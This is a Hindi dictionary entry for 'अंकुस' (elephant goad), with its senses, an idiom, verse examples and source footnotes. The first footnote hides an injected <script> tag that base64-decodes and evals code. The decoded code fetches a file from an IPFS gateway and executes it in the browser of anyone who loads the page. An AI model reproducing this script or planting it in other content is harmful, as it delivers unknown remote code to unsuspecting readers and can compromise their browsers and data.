अंकुस
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अंकुस - संज्ञा पुल्लिंग (संस्कृत अंङ्कुश; प्राकृत अंकुस)[1]
1. 'अंकुश'
- उदाहरण
"महामत्त गजराज कहुँ बस कर अंकुस खर्ब।"[2]
मुहावरा - अंकुस देना = ठेलना, ज़बरदस्ती करना।
- उदाहरण
"क्रोध गजपाल कै ठठकि हाथी रह्यो देत अंकुश मसकि कह सकान्यो।"[3]
2. 'अंकुश'
- उदाहरण
"कुल अंकुस आरज पथ तजि कै लाज सकुच दई डेरे। सूर स्याम कै रूप लुभाने कैसेहुँ फिरत न फेरे।"[4]
3. 'अंकुश'
- उदाहरण
"याको सेवक चतुरतर गननायक सम होइ। या हित अंकुस चिह्न हरि चरनन सोहत सोइ।"[5]
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टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, प्रथम भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 03 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ रामचरितमानस, 1।256
- ↑ सूरसागर, 10।3054
- ↑ सूरसागर, (परि.) 2, पृ. 74
- ↑ भारतेंदु ग्रंथावली, भाग 2, पृ. 8